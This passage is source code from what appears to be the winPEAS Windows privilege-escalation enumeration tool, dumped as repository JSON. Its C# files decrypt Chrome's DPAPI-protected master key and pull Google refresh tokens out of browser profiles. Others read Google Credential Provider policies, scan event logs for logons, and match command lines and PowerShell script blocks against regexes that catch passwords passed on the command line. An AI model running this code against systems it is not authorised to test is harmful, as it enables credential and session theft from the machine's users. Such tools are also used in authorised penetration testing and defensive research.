List<EndpointData>> EndpointDataList()\n        {\n            if (_endpointData == null)\n            {\n                _endpointData = new Dictionary<string, List<EndpointData>>();\n\n                try\n                {\n                    if (IsAvailable)\n                    {\n                        _endpointData.Add(\"Local Info\", GetWorkspaceRegValues());\n                        _endpointData.Add(\"Local Refresh Tokens\", GetRefreshToken());\n                        _endpointData.Add(\"Local Config\", GetLocalFileCong());\n                    }\n                    else\n                    {\n                        _endpointData.Add(\"General Info\", new List<EndpointData>()\n                        {\n                            new EndpointData()\n                            {\n                                EndpointName = \"\",\n                                Data = null,\n                                IsAttackVector = false\n                            }\n                        });\n                    }\n                }\n                catch (Exception ex)\n                {\n                    Beaprint.PrintException(ex.Message);\n                }\n            }\n\n            return _endpointData;\n        }\n\n        static List<EndpointData> GetRefreshToken()\n        {\n            string chromeLocalStatePath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @\"\\Google\\Chrome\\User Data\\Local State\";\n            string masterKey = GetMasterKey(chromeLocalStatePath);\n\n            string[] chromeProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @\"\\Google\\Chrome\\User Data\\\", \"Defaul*\");\n            string[] chromeExtraProfilePaths = Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @\"\\Google\\Chrome\\User Data\\\", \"Profile*\");\n            string[] chromeAllProfilePaths = chromeProfilePaths.Concat(chromeExtraProfilePaths).ToArray();\n            string[] refreshTokens = new string[0];\n\n            foreach (string profilePath in chromeAllProfilePaths)\n            {\n                string webDataPath = Path.Combine(profilePath, \"Web Data\");\n\n                if (File.Exists(webDataPath))\n                {\n                    refreshTokens = ExtractRefreshTokens(webDataPath, masterKey);\n                }\n            }\n\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            for (int i = 0; i < refreshTokens.Length; i++)\n            {\n                _endpointDataList.Add(new EndpointData()\n                {\n                    EndpointName = $\"Token{i}\" ,\n                    Data = refreshTokens[i].Trim(),\n                    IsAttackVector = true\n                });\n            }\n\n            return _endpointDataList;\n        }\n\n        private static string GetMasterKey(string localStatePath)\n        {\n            string localStateJson = File.ReadAllText(localStatePath);\n            JavaScriptSerializer serializer = new JavaScriptSerializer();\n            dynamic json = serializer.Deserialize<dynamic>(localStateJson);\n            string encryptedKeyBase64 = json[\"os_crypt\"][\"encrypted_key\"];\n\n            byte[] encryptedKeyWithPrefix = Convert.FromBase64String(encryptedKeyBase64);\n            byte[] encryptedKey = new byte[encryptedKeyWithPrefix.Length - 5];\n            Array.Copy(encryptedKeyWithPrefix, 5, encryptedKey, 0, encryptedKeyWithPrefix.Length - 5);\n\n            byte[] masterKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);\n            return Convert.ToBase64String(masterKey);\n        }\n\n        private static string[] ExtractRefreshTokens(string webDataPath, string masterKey)\n        {\n            List<string> refreshTokens = new List<string>();\n            try\n            {\n                using (SQLiteConnection connection = new SQLiteConnection($\"Data Source={webDataPath};Version=3;\"))\n                {\n                    connection.Open();\n                    string query = \"SELECT service, encrypted_token FROM token_service;\";\n\n                    using (SQLiteCommand command = new SQLiteCommand(query, connection))\n                    using (SQLiteDataReader reader = command.ExecuteReader())\n                    {\n                        while (reader.Read())\n                        {\n                            string service = reader[\"service\"].ToString();\n\n                            // Check if encrypted_token is null or empty\n                            if (reader[\"encrypted_token\"] == DBNull.Value)\n                            {\n                                Console.WriteLine(\"The encrypted_token is NULL in the database.\");\n                                continue;\n                            }\n                            byte[] encryptedToken = (byte[])reader[\"encrypted_token\"];\n\n                            string decryptedToken = DecryptWithAESGCM(encryptedToken, Convert.FromBase64String(masterKey));\n                            refreshTokens.Add(decryptedToken);\n                        }\n                    }\n                }\n                return refreshTokens.ToArray();\n            }\n            catch (Exception ex)\n            {\n                Beaprint.PrintException(\"Error extracting refresh tokens (If Chrome is running the DB is probably locked but you could dump Chrome's procs and search it there or go around this lock): \" + ex.Message);\n                return refreshTokens.ToArray();\n            }\n        }\n        public static string DecryptWithAESGCM(byte[] ciphertext, byte[] key)\n        {\n            // Constants\n            int nonceLength = 12; // GCM standard nonce length\n            int macLength = 16;   // GCM authentication mac length\n            string versionPrefix = \"v10\"; // Matching kEncryptionVersionPrefix\n\n            // Convert prefix to byte array\n            byte[] versionPrefixBytes = Encoding.ASCII.GetBytes(versionPrefix);\n\n            // Check the prefix\n            if (ciphertext.Length < versionPrefixBytes.Length ||\n                !IsPrefixMatch(ciphertext, versionPrefixBytes))\n            {\n                throw new ArgumentException(\"Invalid encryption version prefix.\");\n            }\n\n            // Extract the nonce from the ciphertext (after the prefix)\n            byte[] nonce = new byte[nonceLength];\n            Array.Copy(ciphertext, versionPrefixBytes.Length, nonce, 0, nonceLength);\n\n            // Extract the actual encrypted data (after the prefix and nonce)\n            int encryptedDataStartIndex = versionPrefixBytes.Length + nonceLength;\n            byte[] encryptedData = new byte[ciphertext.Length - encryptedDataStartIndex];\n            Array.Copy(ciphertext, encryptedDataStartIndex, encryptedData, 0, encryptedData.Length);\n\n            // Split the mac and actual ciphertext\n            byte[] mac = new byte[macLength];\n            Array.Copy(encryptedData, encryptedData.Length - macLength, mac, 0, macLength);\n\n            byte[] actualCiphertext = new byte[encryptedData.Length - macLength];\n            Array.Copy(encryptedData, 0, actualCiphertext, 0, actualCiphertext.Length);\n\n            // Perform the decryption using Bouncy Castle\n            try\n            {\n                GcmBlockCipher gcm = new GcmBlockCipher(new Org.BouncyCastle.Crypto.Engines.AesEngine());\n                AeadParameters parameters = new AeadParameters(new KeyParameter(key), macLength * 8, nonce);\n                gcm.Init(true, parameters);\n\n                byte[] plaintext = new byte[gcm.GetOutputSize(actualCiphertext.Length)];\n                int len = gcm.ProcessBytes(actualCiphertext, 0, actualCiphertext.Length, plaintext, 0);\n                int len2 = gcm.DoFinal(plaintext, len);\n\n                string plaintextString = Encoding.ASCII.GetString(plaintext, 0, len+len2-mac.Length);\n                \n\n                return plaintextString;\n            }\n            catch (InvalidCipherTextException ex)\n            {\n                throw new CryptographicException(\"Decryption failed due to MAC mismatch\", ex);\n            }\n        }\n\n        private static bool IsPrefixMatch(byte[] ciphertext, byte[] versionPrefixBytes)\n        {\n            for (int i = 0; i < versionPrefixBytes.Length; i++)\n            {\n                if (ciphertext[i] != versionPrefixBytes[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)\n        {\n            using (MemoryStream ms = new MemoryStream())\n            {\n                using (CryptoStream cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))\n                {\n                    cryptoStream.Write(data, 0, data.Length);\n                    cryptoStream.FlushFinalBlock();\n                    return ms.ToArray();\n                }\n            }\n        }\n\n        public override bool TestConnection()\n        {\n            return true;\n        }\n\n\n        static List<EndpointData> GetLocalFileCong()\n        {\n            string baseDirectory = @\"C:\\ProgramData\\Google\\Credential Provider\\Policies\";\n            List<EndpointData> _endpointDataList = new List<EndpointData>();\n\n            if (Directory.Exists(baseDirectory))\n            {\n                // Get all directories inside the base directory\n                string[] directories = Directory.GetDirectories(baseDirectory);\n\n                for (int i = 0; i < directories.Length; i++)\n                {\n                    string directory = directories[i];\n                    string directory_name = Path.GetFileName(directory);\n                    string filePath = Path.Combine(directory, \"PolicyFetchResponse\");\n\n                    if (File.Exists(filePath))\n                    {\n                        try\n                        {\n                            // Read the content of the PolicyFetchResponse file\n                            string jsonContent = File.ReadAllText(filePath);\n\n                            JavaScriptSerializer serializer = new JavaScriptSerializer();\n                            dynamic json = serializer.Deserialize<dynamic>(jsonContent);\n                            bool enableDmEnrollment = json[\"policies\"][\"enableDmEnrollment\"];\n                            bool enableGcpwAutoUpdate = json[\"policies\"][\"enableGcpwAutoUpdate\"];\n                            bool enableMultiUserLogin = json[\"policies\"][\"enableMultiUserLogin\"];\n                            int validityPeriodDays = json[\"policies\"][\"validityPeriodDays\"];\n\n                            string uniq_key = directories.Length > 1 ? directory_name : \"\";\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = $\"{uniq_key}enableDmEnrollment\",\n                                Data = json[\"policies\"][\"enableDmEnrollment\"].ToString(),\n                                IsAttackVector = false\n                            });\n\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = $\"{uniq_key}enableGcpwAutoUpdate\",\n                                Data = json[\"policies\"][\"enableGcpwAutoUpdate\"].ToString(),\n                                IsAttackVector = false\n                            });\n\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = $\"{uniq_key}enableMultiUserLogin\",\n                                Data = json[\"policies\"][\"enableMultiUserLogin\"].ToString(),\n                                IsAttackVector = false\n                            });\n\n                            _endpointDataList.Add(new EndpointData()\n                            {\n                                EndpointName = $\"{uniq_key}validityPeriodDays\",\n                                Data = json[\"policies\"][\"validityPeriodDays\"].ToString(),\n                                IsAttackVector = false\n                            });\n                        }\n                        catch (Exception ex)\n                        {\n                            Console.WriteLine($\"Error reading file in {directory}: {ex.Message}\");\n                        }\n                    }\n                    else\n                    {\n                        Console.WriteLine($\"File not found in directory: {directory}\");\n                    }\n                }\n            }\n            else\n            {\n                Console.WriteLine($\"Directory '{baseDirectory}' does not exist.\");\n            }\n\n            return _endpointDataList;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Common.cs",
    "content": "﻿using System.Text.RegularExpressions;\n\nnamespace winPEAS.Info.EventsInfo\n{\n    internal static class Common\n    {\n        public static Regex[] GetInterestingProcessArgsRegex()\n        {\n            // helper that returns the set of \"sensitive\" cmdline regular expressions\n            // adapted from @djhohnstein's EventLogParser project - https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs           \n            var globalOptions = RegexOptions.IgnoreCase & RegexOptions.Multiline;\n\n            Regex[] processCmdLineRegex =\n            {\n                //new Regex(@\"(New-Object.*System.Management.Automation.PSCredential.*)\", globalOptions),\n                new Regex(@\"(bitsadmin(.exe)?.*(/RemoveCredentials|/SetCredentials) .*)\", globalOptions),\n                new Regex(@\"(bootcfg(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(certreq(.exe)?.*-p .*)\", globalOptions),\n                new Regex(@\"(certutil(.exe)?.*-p .*)\", globalOptions),\n                new Regex(@\"(cmdkey(.exe)?.*/pass:.*)\", globalOptions),\n                new Regex(@\"(cscript.*-w .*)\", globalOptions),\n                new Regex(@\"(driverquery(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(eventcreate(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(getmac(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(gpfixup(.exe)?.*/pwd:.*)\", globalOptions),\n                new Regex(@\"(gpresult(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(kitty(.exe)?.*(-pw|-pass) .*)\", globalOptions),\n                new Regex(@\"(mapadmin(.exe)?.*-p .*)\", globalOptions),\n                new Regex(@\"(mount(.exe)?.*-p:.*)\", globalOptions),\n                new Regex(@\"(net(.exe)?.*use .*)\", globalOptions),\n                new Regex(@\"(net(.exe)?.*user .*)\", globalOptions),\n                new Regex(@\"(nfsadmin(.exe)?.*-p .*)\", globalOptions),\n                new Regex(@\"(openfiles(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(pscp(.exe)?.*-pw .*)\", globalOptions),\n                new Regex(@\"(psexec(.exe)?.*-p .*)\", globalOptions),\n                new Regex(@\"(psexec64(.exe)?.*-p .*)\", globalOptions),\n                new Regex(@\"(putty(.exe)?.*-pw .*)\", globalOptions),\n                new Regex(@\"(schtasks(.exe)?.*(/p|/rp) .*)\", globalOptions),\n                new Regex(@\"(setx(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(ssh(.exe)?.*-i .*)\", globalOptions),\n                new Regex(@\"(systeminfo(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(takeown(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(taskkill(.exe)?.*/p .*)\", globalOptions),\n                new Regex(@\"(tscon(.exe)?.*/password:.*)\", globalOptions),\n                new Regex(@\"(wecutil(.exe)?.*(/up|/cup|/p):.*)\", globalOptions),\n                new Regex(@\"(winrm(.vbs)?.*-p .*)\", globalOptions),\n                new Regex(@\"(winrs(.exe)?.*/p(assword)? .*)\", globalOptions),\n                new Regex(@\"(wmic(.exe)?.*/password:.*)\", globalOptions),\n                new Regex(@\"(ConvertTo-SecureString.*AsPlainText.*)\", globalOptions),\n            };\n\n            return processCmdLineRegex;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Logon/ExplicitLogonEventInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.EventsInfo.Logon\n{\n    internal class ExplicitLogonEventInfo\n    {\n        public string SubjectUser { get; set; }\n        public string SubjectDomain { get; set; }\n        public string TargetUser { get; set; }\n        public string TargetDomain { get; set; }\n        public string Process { get; set; }\n        public string IpAddress { get; set; }\n        public DateTime? CreatedAtUtc { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Logon/Logon.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Diagnostics.Eventing.Reader;\nusing System.Text.RegularExpressions;\nusing winPEAS.Helpers;\nusing winPEAS.Native.Enums;\n\nnamespace winPEAS.Info.EventsInfo.Logon\n{\n    internal class Logon\n    {\n        public static LogonInfo GetLogonInfos(int lastDays)\n        {\n            var result = new LogonInfo();\n            var logonEventInfos = new List<LogonEventInfo>();\n            var NTLMv1LoggedUsersSet = new HashSet<string>();\n            var NTLMv2LoggedUsersSet = new HashSet<string>();\n            var kerberosLoggedUsersSet = new HashSet<string>();\n\n            string userRegex = null;\n\n            var startTime = DateTime.Now.AddDays(-lastDays);\n            var endTime = DateTime.Now;\n\n            var query = $@\"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]\";\n            var logReader = MyUtils.GetEventLogReader(\"Security\", query);\n\n            // read the event log\n            for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())\n            {\n                //var subjectUserSid = eventDetail.GetPropertyValue(0);\n                var subjectUserName = eventDetail.GetPropertyValue(1);\n                var subjectDomainName = eventDetail.GetPropertyValue(2);\n                //var subjectLogonId = eventDetail.GetPropertyValue(3);\n                //var targetUserSid = eventDetail.GetPropertyValue(4);\n                var targetUserName = eventDetail.GetPropertyValue(5);\n                var targetDomainName = eventDetail.GetPropertyValue(6);\n                //var targetLogonId = eventDetail.GetPropertyValue(7);\n                //var logonType = eventDetail.GetPropertyValue(8);\n                var logonType = $\"{(SECURITY_LOGON_TYPE)(int.Parse(eventDetail.GetPropertyValue(8)))}\";\n                //var logonProcessName = eventDetail.GetPropertyValue(9);\n                var authenticationPackageName = eventDetail.GetPropertyValue(10);\n                //var workstationName = eventDetail.GetPropertyValue(11);\n                //var logonGuid = eventDetail.GetPropertyValue(12);\n                //var transmittedServices = eventDetail.GetPropertyValue(13);\n                var lmPackageName = eventDetail.GetPropertyValue(14);\n                lmPackageName = lmPackageName == \"-\" ? \"\" : lmPackageName;\n                //var keyLength = eventDetail.GetPropertyValue(15);\n                //var processId = eventDetail.GetPropertyValue(16);\n                //var processName = eventDetail.GetPropertyValue(17);\n                var ipAddress = eventDetail.GetPropertyValue(18);\n                //var ipPort = eventDetail.GetPropertyValue(19);\n                //var impersonationLevel = eventDetail.GetPropertyValue(20);\n                //var restrictedAdminMode = eventDetail.GetPropertyValue(21);\n\n                var targetOutboundUserName = \"-\";\n                var targetOutboundDomainName = \"-\";\n                if (eventDetail.Properties.Count > 22)  // Not available on older versions of Windows\n                {\n                    targetOutboundUserName = eventDetail.GetPropertyValue(22);\n                    targetOutboundDomainName = eventDetail.GetPropertyValue(23);\n                }\n                //var VirtualAccount = eventDetail.GetPropertyValue(24);\n                //var TargetLinkedLogonId = eventDetail.GetPropertyValue(25);\n                //var ElevatedToken = eventDetail.GetPropertyValue(26);\n\n                // filter out SYSTEM, computer accounts, local service accounts, UMFD-X accounts, and DWM-X accounts (for now)\n                var userIgnoreRegex = \"^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON|\" + Environment.MachineName + \"\\\\$)$\";\n                if (userRegex == null && Regex.IsMatch(targetUserName, userIgnoreRegex, RegexOptions.IgnoreCase))\n                {\n                    continue;\n                }\n\n                var domainIgnoreRegex = \"^(NT VIRTUAL MACHINE)$\";\n                if (userRegex == null && Regex.IsMatch(targetDomainName, domainIgnoreRegex, RegexOptions.IgnoreCase))\n                {\n                    continue;\n                }\n\n                // Handle the user filter\n                if (userRegex != null && !Regex.IsMatch(targetUserName, userRegex, RegexOptions.IgnoreCase))\n                {\n                    continue;\n                }\n\n                // Analyze the output\n                if (logonType == \"Network\")\n                {\n                    var accountName = $\"{targetDomainName}\\\\{targetUserName}\";\n                    if (authenticationPackageName == \"NTLM\")\n                    {\n                        switch (lmPackageName)\n                        {\n                            case \"NTLM V1\":\n                                NTLMv1LoggedUsersSet.Add(accountName);\n                                break;\n                            case \"NTLM V2\":\n                                NTLMv2LoggedUsersSet.Add(accountName);\n                                break;\n                        }\n                    }\n                    else if (authenticationPackageName == \"Kerberos\")\n                    {\n                        kerberosLoggedUsersSet.Add(accountName);\n                    }\n                }\n\n                logonEventInfos.Add(\n                    new LogonEventInfo(\n                        eventDetail.TimeCreated?.ToUniversalTime(),\n                        targetUserName,\n                        targetDomainName,\n                        logonType,\n                        ipAddress,\n                        subjectUserName,\n                        subjectDomainName,\n                        authenticationPackageName,\n                        lmPackageName,\n                        targetOutboundUserName,\n                        targetOutboundDomainName\n                    )\n               );\n            }\n\n            result.KerberosLoggedUsersSet = kerberosLoggedUsersSet;\n            result.NTLMv1LoggedUsersSet = NTLMv1LoggedUsersSet;\n            result.NTLMv2LoggedUsersSet = NTLMv2LoggedUsersSet;\n            result.LogonEventInfos = logonEventInfos;\n\n            return result;\n        }\n\n        public static IEnumerable<ExplicitLogonEventInfo> GetExplicitLogonEventsInfos(int lastDays)\n        {\n            const string eventId = \"4648\";\n            string userFilterRegex = null;\n\n            var startTime = DateTime.Now.AddDays(-lastDays);\n            var endTime = DateTime.Now;\n\n            var query = $@\"*[System/EventID={eventId}] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]\";\n\n            var logReader = MyUtils.GetEventLogReader(\"Security\", query);\n\n            for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())\n            {\n                //string subjectUserSid = eventDetail.GetPropertyValue(0);\n                var subjectUserName = eventDetail.GetPropertyValue(1);\n                var subjectDomainName = eventDetail.GetPropertyValue(2);\n                //var subjectLogonId = eventDetail.GetPropertyValue(3);\n                //var logonGuid = eventDetail.GetPropertyValue(4);\n                var targetUserName = eventDetail.GetPropertyValue(5);\n                var targetDomainName = eventDetail.GetPropertyValue(6);\n                //var targetLogonGuid = eventDetail.GetPropertyValue(7);\n                //var targetServerName = eventDetail.GetPropertyValue(8);\n                //var targetInfo = eventDetail.GetPropertyValue(9);\n                //var processId = eventDetail.GetPropertyValue(10);\n                var processName = eventDetail.GetPropertyValue(11);\n                var ipAddress = eventDetail.GetPropertyValue(12);\n                //var IpPort = eventDetail.GetPropertyValue(13);\n\n                // Ignore the current machine logging on and \n                if (Regex.IsMatch(targetUserName, Environment.MachineName) ||\n                    Regex.IsMatch(targetDomainName, @\"^(Font Driver Host|Window Manager)$\"))\n                {\n                    continue;\n                }\n\n                if (userFilterRegex != null && !Regex.IsMatch(targetUserName, userFilterRegex))\n                {\n                    continue;\n                }\n\n                yield return new ExplicitLogonEventInfo\n                {\n                    CreatedAtUtc = eventDetail.TimeCreated?.ToUniversalTime(),\n                    SubjectUser = subjectUserName,\n                    SubjectDomain = subjectDomainName,\n                    TargetUser = targetUserName,\n                    TargetDomain = targetDomainName,\n                    Process = processName,\n                    IpAddress = ipAddress\n                };\n            }\n        }\n    }\n\n    internal static class EventRecordExtensions\n    {\n        internal static string GetPropertyValue(this EventRecord record, int index)\n        {\n            return record == null ? string.Empty : record.Properties[index].Value.ToString();\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Logon/LogonEventInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.EventsInfo.Logon\n{\n    internal class LogonEventInfo\n    {\n        public DateTime? CreatedAtUtc { get; set; }\n        public string TargetUserName { get; set; }\n        public string TargetDomainName { get; set; }\n        public string LogonType { get; set; }\n        public string IpAddress { get; set; }\n        public string SubjectUserName { get; set; }\n        public string SubjectDomainName { get; set; }\n        public string AuthenticationPackage { get; set; }\n        public string LmPackage { get; set; }\n        public string TargetOutboundUserName { get; set; }\n        public string TargetOutboundDomainName { get; set; }\n\n        public LogonEventInfo(\n            DateTime? createdAtUtc,\n            string targetUserName,\n            string targetDomainName,\n            string logonType,\n            string ipAddress,\n            string subjectUserName,\n            string subjectDomainName,\n            string authenticationPackage,\n            string lmPackage,\n            string targetOutboundUserName,\n            string targetOutboundDomainName)\n        {\n            CreatedAtUtc = createdAtUtc;\n            TargetUserName = targetUserName;\n            TargetDomainName = targetDomainName;\n            LogonType = logonType;\n            IpAddress = ipAddress;\n            SubjectUserName = subjectUserName;\n            SubjectDomainName = subjectDomainName;\n            AuthenticationPackage = authenticationPackage;\n            LmPackage = lmPackage;\n            TargetOutboundUserName = targetOutboundUserName;\n            TargetOutboundDomainName = targetOutboundDomainName;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Logon/LogonInfo.cs",
    "content": "﻿using System.Collections.Generic;\n\nnamespace winPEAS.Info.EventsInfo.Logon\n{\n    internal class LogonInfo\n    {\n        public HashSet<string> NTLMv1LoggedUsersSet { get; set; } = new HashSet<string>();\n        public HashSet<string> NTLMv2LoggedUsersSet { get; set; } = new HashSet<string>();\n        public HashSet<string> KerberosLoggedUsersSet { get; set; } = new HashSet<string>();\n\n        public IEnumerable<LogonEventInfo> LogonEventInfos { get; set; } = new List<LogonEventInfo>();\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Power/Power.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.EventsInfo.Power\n{\n    internal class Power\n    {\n        public static IEnumerable<PowerEventInfo> GetPowerEventInfos(int lastDays)\n        {\n            var startTime = DateTime.Now.AddDays(-lastDays);\n            var endTime = DateTime.Now;\n\n            // eventID 1 == sleep\n            var query = $@\"((*[System[(EventID=12 or EventID=13) and Provider[@Name='Microsoft-Windows-Kernel-General']]] or *[System/EventID=42]) or (*[System/EventID=6008]) or (*[System/EventID=1] and *[System[Provider[@Name='Microsoft-Windows-Power-Troubleshooter']]])) and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]\";\n\n            var logReader = MyUtils.GetEventLogReader(\"System\", query);\n\n            for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())\n            {\n                var action = eventDetail.Id switch\n                {\n                    1 => \"Awake\",\n                    12 => \"Startup\",\n                    13 => \"Shutdown\",\n                    42 => \"Sleep\",\n                    6008 => \"Unexpected Shutdown\",\n                    _ => null\n                };\n\n                yield return new PowerEventInfo\n                {\n                    DateUtc = (DateTime)eventDetail.TimeCreated?.ToUniversalTime(),\n                    Description = action\n                };\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/Power/PoweredEventInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.EventsInfo.Power\n{\n    internal class PowerEventInfo\n    {\n        public DateTime DateUtc { get; set; }\n        public string Description { get; set; }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/PowerShell/PowerShell.cs",
    "content": "﻿using System.Collections.Generic;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.EventsInfo.PowerShell\n{\n    internal class PowerShell\n    {\n        public static IEnumerable<PowerShellEventInfo> GetPowerShellEventInfos()\n        {\n            // adapted from @djhohnstein's EventLogParser project\n            //  https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs\n            // combined with scraping from https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands            \n\n            var context = 3; // number of lines around the match to display\n\n            string[] powerShellLogs = { \"Microsoft-Windows-PowerShell/Operational\", \"Windows PowerShell\" };\n\n            // Get our \"sensitive\" cmdline regexes from a common helper function.\n            var powerShellRegex = Common.GetInterestingProcessArgsRegex();\n\n            foreach (var logName in powerShellLogs)\n            {\n                var query = \"*[System/EventID=4104]\";\n\n                var logReader = MyUtils.GetEventLogReader(logName, query);\n\n                for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())\n                {\n                    var scriptBlock = eventDetail.Properties[2].Value.ToString();\n\n                    foreach (var reg in powerShellRegex)\n                    {\n                        var m = reg.Match(scriptBlock);\n                        if (!m.Success)\n                        {\n                            continue;\n                        }\n\n                        var contextLines = new List<string>();\n\n                        var scriptBlockParts = scriptBlock.Split('\\n');\n                        for (var i = 0; i < scriptBlockParts.Length; i++)\n                        {\n                            if (!scriptBlockParts[i].Contains(m.Value))\n                            {\n                                continue;\n                            }\n\n                            var printed = 0;\n                            for (var j = 1; i - j > 0 && printed < context; j++)\n                            {\n                                if (scriptBlockParts[i - j].Trim() == \"\")\n                                {\n                                    continue;\n                                }\n\n                                contextLines.Add(scriptBlockParts[i - j].Trim());\n                                printed++;\n                            }\n                            printed = 0;\n                            contextLines.Add(m.Value.Trim());\n                            for (var j = 1; printed < context && i + j < scriptBlockParts.Length; j++)\n                            {\n                                if (scriptBlockParts[i + j].Trim() == \"\")\n                                {\n                                    continue;\n                                }\n\n                                contextLines.Add(scriptBlockParts[i + j].Trim());\n                                printed++;\n                            }\n                            break;\n                        }\n\n                        var contextJoined = string.Join(\"\\n\", contextLines.ToArray());\n\n                        yield return new PowerShellEventInfo(\n                            eventDetail.TimeCreated,\n                            eventDetail.Id,\n                            $\"{eventDetail.UserId}\",\n                            m.Value,\n                            contextJoined\n                        );\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/PowerShell/PowerShellEventInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.EventsInfo.PowerShell\n{\n    internal class PowerShellEventInfo\n    {\n        public DateTime? CreatedAt { get; }\n        public int EventId { get; }\n        public string UserId { get; }\n        public string Match { get; }\n        public string Context { get; }\n\n        public PowerShellEventInfo(\n            DateTime? createdAt,\n            int eventId,\n            string userId,\n            string match,\n            string context)\n        {\n            CreatedAt = createdAt;\n            EventId = eventId;\n            UserId = userId;\n            Match = match;\n            Context = context;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/ProcessCreation/ProcessCreation.cs",
    "content": "﻿using System.Collections.Generic;\nusing winPEAS.Helpers;\n\nnamespace winPEAS.Info.EventsInfo.ProcessCreation\n{\n    internal class ProcessCreation\n    {\n        public static IEnumerable<ProcessCreationEventInfo> GetProcessCreationEventInfos()\n        {\n            // Get our \"sensitive\" cmdline regexes from a common helper function.\n            var processCmdLineRegex = Common.GetInterestingProcessArgsRegex();\n\n            var query = $\"*[System/EventID=4688]\";\n            var logReader = MyUtils.GetEventLogReader(\"Security\", query);\n\n            for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent())\n            {\n                var user = eventDetail.Properties[1].Value.ToString().Trim();\n                var commandLine = eventDetail.Properties[8].Value.ToString().Trim();\n\n                foreach (var reg in processCmdLineRegex)\n                {\n                    var m = reg.Match(commandLine);\n                    if (m.Success)\n                    {\n                        yield return new ProcessCreationEventInfo(\n                            eventDetail.TimeCreated?.ToUniversalTime(),\n                            eventDetail.Id,\n                            user,\n                            commandLine\n                        );\n                    }\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/EventsInfo/ProcessCreation/ProcessCreationEventInfo.cs",
    "content": "﻿using System;\n\nnamespace winPEAS.Info.EventsInfo.ProcessCreation\n{\n    internal class ProcessCreationEventInfo\n    {\n        public DateTime? CreatedAtUtc { get; set; }\n        public int EventId { get; set; }\n        public string User { get; set; }\n        public string Match { get; set; }\n\n        public ProcessCreationEventInfo(\n            DateTime? createdAtUtc,\n            int eventId,\n            string user,\n            string match)\n        {\n            CreatedAtUtc = createdAtUtc;\n            EventId = eventId;\n            User = user;\n            Match = match;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/Info/FilesInfo/Certificates/CertificateInfo.cs",
